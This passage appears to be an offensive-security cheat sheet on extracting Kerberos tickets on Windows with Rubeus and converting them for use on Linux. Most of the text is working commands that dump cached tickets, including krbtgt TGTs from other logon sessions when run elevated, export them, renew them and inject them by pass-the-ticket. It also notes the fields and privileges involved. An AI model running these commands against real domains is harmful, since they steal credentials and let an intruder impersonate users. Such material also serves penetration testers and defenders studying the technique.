Ticket extraction is not conversion, but it is usually where the conversion workflow starts. On Windows, Rubeus can enumerate and export cached Kerberos tickets as .kirbi or base64 blobs.
Triage tickets:
.\Rubeus.exe triage
Dump tickets and export files:
.\Rubeus.exe dump /export
Dump base64 output:
.\Rubeus.exe dump /nowrap
Dump a specific LUID and service:
.\Rubeus.exe dump /luid:0xd42c80 /service:krbtgt /nowrap
Describe a ticket:
.\Rubeus.exe describe /ticket:ticket.kirbi
Renew a renewable TGT:
.\Rubeus.exe renew /ticket:ticket.kirbi /nowrap
Inject after extraction:
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist
Convert extracted .kirbi for Linux:
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=FILE:$(pwd)/ticket.ccache
klist
Important fields:
StartTime ticket issue time
EndTime ticket expiration time
RenewTill last time the ticket can be renewed
Service krbtgt means TGT; other SPNs are service tickets
High-integrity context is required to dump tickets from other logon sessions. A non-elevated context usually sees only its own session.